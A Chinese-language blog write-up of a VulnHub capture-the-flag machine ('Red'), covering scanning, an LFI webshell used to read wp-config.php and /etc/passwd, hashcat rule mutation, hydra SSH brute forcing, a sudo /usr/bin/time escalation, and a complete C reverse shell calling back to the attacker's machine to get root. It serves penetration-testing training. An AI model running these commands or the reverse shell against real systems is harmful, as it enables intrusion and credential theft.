靶机渗透练习17-Red

靶机描述

靶机地址:https://www.vulnhub.com/entry/napping-101,752/

Description

Even Admins can fall asleep on the job

This works better with VirtualBox rather than VMware ## Changelog v1.0.1 - 2021-10-30 v1.0.0 - 2021-10-22

一、搭建靶机环境

攻击机Kali

IP地址:192.168.9.7

靶机

IP地址:192.168.9.15

注:靶机与Kali的IP地址只需要在同一局域网即可(同一个网段,即两虚拟机处于同一网络模式)

该靶机环境搭建如下

  1. 将下载好的靶机环境,导入 VritualBox,设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l (指定网卡扫)

arp-scan -I eth0 -l

image-20220118155946013

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

image-20220118160056166

22---ssh---OpenSSH 8.2p1

80---http---Apache httpd 2.4.41

2.2枚举漏洞

22 端口分析

一般只能暴力破解,暂时没有合适的字典

80 端口分析

访问 80 端口

image-20220118160244208

发现是个 Wordpress 网站

点击 Hello Blue 发现无法访问,但是返回了redrocks.win 的域名,应该是没有解析

查看源码,除了redrocks.win,并没有其他有用的信息

本地hosts添加一下解析,再次访问

image-20220118161002745

Your site has been Hacked! You’ll never find the backdoor hahahah

翻译过来的意思是网站已经被入侵,你不可能找到后门,进入帖子并查看源代码,我们发现了 Red 留下的另一个提示

image-20220118162933767

image-20220118162437067

Looking For It?奇怪的大写与 LFI - 本地文件包含相似。

它提到了Miessler 先生。它还提到我们将无法阅读任何内容。

所以把这些放在一起,我们可以假设我们的后门不是典型的 shell 后门,而是一个 LFI,它可能使用 Common PHP 后门列表,因为 WordPress 在 Apache PHP 上运行。

我们去github上搜一下Miessler

image-20220118162755055

发现了SecLists,这个不是一个字典集合吗

image-20220118162851776

这是不是提示要用这个字典去扫目录?

2.3漏洞利用

查找后门

SecLists 里的 CommonBackdoors-PHP.fuzz.txt

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win/ -o dir80.txt -z

image-20220118161318687

我们看到了 NetworkFileManagerPHP.php的奇怪文件 ,去搜索一下,看看有没有相关信息

image-20220118161502769

发现是个 webshell 后门,

https://github.com/BlackArch/webshells/blob/master/php/NetworkFileManagerPHP.php

扫描结果状态码是 500

但根据我们的提示,我们知道 Red 将其用作某种类型的 LFI 后门,使用 wfuzz 测试一下参数

wfuzz -c -u 'http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=test' -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt

image-20220118163311129

发现key参数返回200,那就使用key参数测试一下

image-20220118163827739

测试成功。说明有文件包含。

对于 WordPress 网站,我总是希望尽可能检查易受攻击的代码以及存储数据库凭据的 wp-config 文件。我们可以使用 Burp Suite 和 PHP Wrappers。查看 NetworkFileManager.php 文件

image-20220118165434098

脚本内容为

<?php
   $file = $_GET['key'];
   if(isset($file))
   {
       include("$file");
   }
   else
   {
       include("NetworkFileManagerPHP.php");
   }
   /* VGhhdCBwYXNzd29yZCBhbG9uZSB3b24ndCBoZWxwIHlvdSEgSGFzaGNhdCBzYXlzIHJ1bGVzIGFyZSBydWxlcw== */
?>


对注释进行解码

image-20220118165547243

That password alone won't help you! Hashcat says rules are rules

仅凭那个密码对您没有帮助! Hashcat 说规则就是规则

破解密码

提到了密码、Hashcat 和规则。由于它是 base64 编码的,我们可以假设 Red 在谈论 Hashcat 的 Best64 规则为密码突变,想到的这里大概能获取 wp-config 文件,里面有数据库的密码

image-20220118170056913

<?php

/**

 * The base configuration for WordPress

 *

 * The wp-config.php creation script uses this file during the installation.

 * You don't have to use the web site, you can copy this file to "wp-config.php"

 * and fill in the values.

 *

 * This file contains the following configurations:

 *

 * * MySQL settings

 * * Secret keys

 * * Database table prefix

 * * ABSPATH

 *

 * @link https://wordpress.org/support/article/editing-wp-config-php/

 *

 * @package WordPress

 */

// ** MySQL settings - You can get this info from your web host ** //

/** The name of the database for WordPress */

define( 'DB_NAME', 'wordpress' );



/** MySQL database username */

define( 'DB_USER', 'john' );



/** MySQL database password */

define( 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!' );



/** MySQL hostname */

define( 'DB_HOST', 'localhost' );



/** Database Charset to use in creating database tables. */

define( 'DB_CHARSET', 'utf8' );



/** The Database Collate type. Don't change this if in doubt. */

define( 'DB_COLLATE', '' );



define('FS_METHOD', 'direct');



define('WP_SITEURL', 'http://redrocks.win');

define('WP_HOME', 'http://redrocks.win');



/**#@+

 * Authentication unique keys and salts.

 *

 * Change these to different unique phrases! You can generate these using

 * the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}.

 *

 * You can change these at any point in time to invalidate all existing cookies.

 * This will force all users to have to log in again.

 *

 * @since 2.6.0

 */

define('AUTH_KEY',         '2uuBvc8SO5{>UwQ<^5V5[UHBw%N}-BwWqw|><*HfBwJ( $&%,(Zbg/jwFkRHf~v|');

define('SECURE_AUTH_KEY',  'ah}<I`52GL6C^@~x C9FpMq-)txgOmA<~{R5ktY/@.]dBF?keB3}+Y^u!a54 Xc(');

define('LOGGED_IN_KEY',    '[a!K}D<7-vB3Y&x_<3e]Wd+J]!o+A:U@QUZ-RU1]tO@/N}b}R@+/$+u*pJ|Z(xu-');

define('NONCE_KEY',        ' g4|@~:h,K29D}$FL-f/eujw(VT;8wa7xRWpVR: >},]!Ez.48E:ok 8Ip~5_o+a');

define('AUTH_SALT',        'a;,O<~vbpL+|@W+!Rs1o,T$r9(LwaXI =I7ZW$.Z[+BQ=B6QG7nr+w_bQ6B]5q4c');

define('SECURE_AUTH_SALT', 'GkU:% Lo} 9}w38i:%]=uq&J6Z&RR#v2vsB5a_ +.[us;6mE+|$x*+ D*Ke+:Nt:');

define('LOGGED_IN_SALT',   '#`F9&pm_jY}N3y0&8Z]EeL)z,$39,yFc$Nq`jGOMT_aM*`<$9A:9<Kk^L}fX@+iZ');

define('NONCE_SALT',       'hTlFE*6zlZMbqluz)hf:-:x-:l89fC4otci;38|i`7eU1;+k[!0[ZG.oCt2@-y3X');



/**#@-*/



/**

 * WordPress database table prefix.

 *

 * You can have multiple installations in one database if you give each

 * a unique prefix. Only numbers, letters, and underscores please!

 */

$table_prefix = 'wp_';



/**

 * For developers: WordPress debugging mode.

 *

 * Change this to true to enable the display of notices during development.

 * It is strongly recommended that plugin and theme developers use WP_DEBUG

 * in their development environments.

 *

 * For information on other constants that can be used for debugging,

 * visit the documentation.

 *

 * @link https://wordpress.org/support/article/debugging-in-wordpress/

 */

define( 'WP_DEBUG', false );



/* Add any custom values between this line and the "stop editing" line. */







/* That's all, stop editing! Happy publishing. */



/** Absolute path to the WordPress directory. */

if ( ! defined( 'ABSPATH' ) ) {

    define( 'ABSPATH', __DIR__ . '/' );

}



/** Sets up WordPress vars and included files. */

require_once ABSPATH . 'wp-settings.php';


'DB_USER', 'john' 'DB_PASSWORD', 'R3v_m4lwh3r3_k1nG!!'

用户名是john,前面查看 /etc/passwd 文件时发现也有john用户

image-20220118170226968

接下来,用这个用户登录 ssh,登录失败

将密码保存到文件中,然后用 hashcat 规则破解

☁  test  hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt
☁  test  cat passlist.txt 
R3v_m4lwh3r3_k1nG!!
!!Gn1k_3r3hwl4m_v3R
R3V_M4LWH3R3_K1NG!!
r3v_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!0
R3v_m4lwh3r3_k1nG!!1
R3v_m4lwh3r3_k1nG!!2
R3v_m4lwh3r3_k1nG!!3
R3v_m4lwh3r3_k1nG!!4
R3v_m4lwh3r3_k1nG!!5
R3v_m4lwh3r3_k1nG!!6
R3v_m4lwh3r3_k1nG!!7
R3v_m4lwh3r3_k1nG!!8
R3v_m4lwh3r3_k1nG!!9
R3v_m4lwh3r3_k1nG!!00
R3v_m4lwh3r3_k1nG!!01
R3v_m4lwh3r3_k1nG!!02
R3v_m4lwh3r3_k1nG!!11
R3v_m4lwh3r3_k1nG!!12
R3v_m4lwh3r3_k1nG!!13
R3v_m4lwh3r3_k1nG!!21
R3v_m4lwh3r3_k1nG!!22
R3v_m4lwh3r3_k1nG!!23
R3v_m4lwh3r3_k1nG!!69
R3v_m4lwh3r3_k1nG!!77
R3v_m4lwh3r3_k1nG!!88
R3v_m4lwh3r3_k1nG!!99
R3v_m4lwh3r3_k1nG!!123
R3v_m4lwh3r3_k1nG!!e
R3v_m4lwh3r3_k1nG!!s
R3v_m4lwh3r3_k1nG!a
R3v_m4lwh3r3_k1nGs
R3v_m4lwh3r3_k1nGa
R3v_m4lwh3r3_k1nGer
R3v_m4lwh3r3_k1nGie
R3v_m4lwh3r3_k1no
R3v_m4lwh3r3_k1ny
R3v_m4lwh3r3_k1n123
R3v_m4lwh3r3_k1nman
R3v_m4lwh3r3_k1ndog
1R3v_m4lwh3r3_k1nG!!
theR3v_m4lwh3r3_k1nG!!
d3v_m4lwh3r3_k1nG!!
mav_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!
R3v_m4lwh3r3_k1nG!!
R3_m4lwh3r3_k1nG!!
R3m4lwh3r3_k1nG!!
R3vm4lwh3r3_k1nG!!
R3v_4lwh3r3_k1nG!!
R3vm
R3v_m1
R3v_m4lwh3r3_k1nG!
R3v_m4lwh3r3_k1nG
R3v_m4lwh3r3_k1n
R3v_m4lwh3r3_k1nR3v_m4lwh3r3_k1n
Rv_m4lwh3r3_k1n
1nG!
h3r3_k1nG!!v_m4lw
R3v_m4lwh3r3_k1n!
 3v_m4lwh3r3_k1nG
G!!R3v_m4lwh3r3_k1n
nG!!
1nG!!
k1nGk1nG
n3v_
_mR_mR
Z3v_m4lwh3r3_k1nG!!
U_m4lwh3r3_k1nG!!
R3v_lw
R3vmR3vm
_mR
R3r3R3r3
Rrlw
R3v_ml
R4lwh3

使用解出来的密码本进行ssh爆破

现在我们可以尝试使用 Hydra 来查看其中一个密码是否有效

 hydra -l john -P passlist.txt 192.168.9.15 ssh

image-20220118171934882我们匹配到了密码,现在我们可以尝试使用该密码进行 SSH 登录

john  R3v_m4lwh3r3_k1nG!!0

image-20220118175321799

成功登录

2.4权限提升

命令 sudo -l

john@red:~$ sudo -l
Matching Defaults entries for john on red:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on red:
    (ippsec) NOPASSWD: /usr/bin/time

显示我们可以在没有密码的情况下以用户 ippsec 的身份执行/usr/bin/time

去https://gtfobins.github.io/gtfobins/time/查看

这里我们使用sudo提权

image-20220118175503779

我使用/bin/bash代替/bin/sh因为它更具交互性

运行 sudo -u ippsec /usr/bin/time /bin/bash

成功提权到

查看当前目录看到note_from_red.txt

image-20220118175831239

查看时发现 cat 命令成了 vivi 命令成了 cat

去切换至当前用户根目录发现了user.txt

image-20220119110132249

Fake Flag:
Come on now Blue! You really think it would be that easy to get the user flag? You are not even on the right user! Hahaha

总结一下,我们是ippsec 用户。

但是,ippsec 的主目录中有一个虚假的标志文件,表明他不是正确的用户。

唯一的其他用户是 0xdf,无法访问。

那么我们为什么首先要相信Red呢?让我们假设他在撒谎并寻找任何 ippsec 可以访问的东西。

命令 find / -group ippsec -type d 2>/dev/null | grep -v proc

向我们展示了我们可以访问位于 wordpress 目录中的 .git 目录,这不是您通常会发现的:

image-20220119141352948

我们拥有组 ippsec 的写入权限:

image-20220119141615881

我们还发现了一些秘密文件:

image-20220119141750643

#include <stdio.h>
  
int main()
{
  
    // prints hello world
    printf("Get out of here Blue!\n");
  
    return 0;
}

ippse

刚准备,,,,被踢出来了

妈的,好坑

又被踢出来了,再次尝试登录发现密码变了

image-20220119141127123

通过几次尝试,发现他每分钟都在向我们发送消息以分散我们的注意力

他还会在 5 分钟后踢出我们并更改密码

好的,现在我们知道我们应该是 ippsec 用户。

让我们阻止 Red 把我们踢出去,这次进去创建个反弹 shell

  1. /dev/shm 目录中创建一个反弹shell bash 脚本
  2. 让我们用 nc -lvnp 6666 在我们的机器上运行 netcat 并执行 bash 脚本
  3. python3 -c 'import pty;pty.spawn("/bin/bash")' 然后 Ctrl+Z 到后台
  4. stty raw -echo;fg 然后按两次 ENTER
  5. export TERM=xterm

现在,一旦我们被踢出去,外壳就会变得有点不稳定。

只需再次运行命令python3 -c 'import pty;pty.spawn("/bin/bash")'并按住 ENTER 直到它稳定

image-20220119142955323

我们仍然收到来自 Red 的消息,但至少我们没有被踢出我们的会话。

现在我们可以运行 pspy64s 来检查系统在跑哪些进程

看看Red 是否正在执行我们在 /var/www/wordpress/.git目录中找到的那个秘密文件。

大约 2 分钟后,他编译了 C 脚本文件并执行了二进制文件:

image-20220119143634021

image-20220119143700367

这是他系统的终极根后门,我们可以使用它来获取反向 shell 作为根,因为我们拥有 .git 目录,因为我们是 ippsec 组的一部分。

我们可以从这里获取一个用 C 语言编写的反向 shell。

#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 666;
    struct sockaddr_in revsockaddr;

    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;       
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.9.7");

    connect(sockt, (struct sockaddr *) &revsockaddr, 
    sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);

    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    return 0;       
}

使用 nc -lvnp 666进行监听, 并等待 2 分钟

大约 2 分钟后,我们以root身份获得了一个 shell

同时直接在根目录下找到最终flag

image-20220119144434610

总结

本次靶机主要通过信息收集,找到 LFI 后门,然后用 hashcat、hydra破解ssh登录密码,经过一番测试,最后通过C 语言编写反弹shell。

  1. LFI - 本地文件包含
  2. gobuster目录扫描工具的使用
  3. SecLists字典的利用
  4. wfuzz的使用
  5. hashcat的使用
  6. hydra的使用
  7. time提权
  8. stty 的使用
  9. export TERM=xterm使终端reset失效
  10. pspy64s的使用
  11. C 语言编写反弹shell
posted @ 2022-04-02 14:36  hirak0  阅读(408)  评论(0编辑  收藏  举报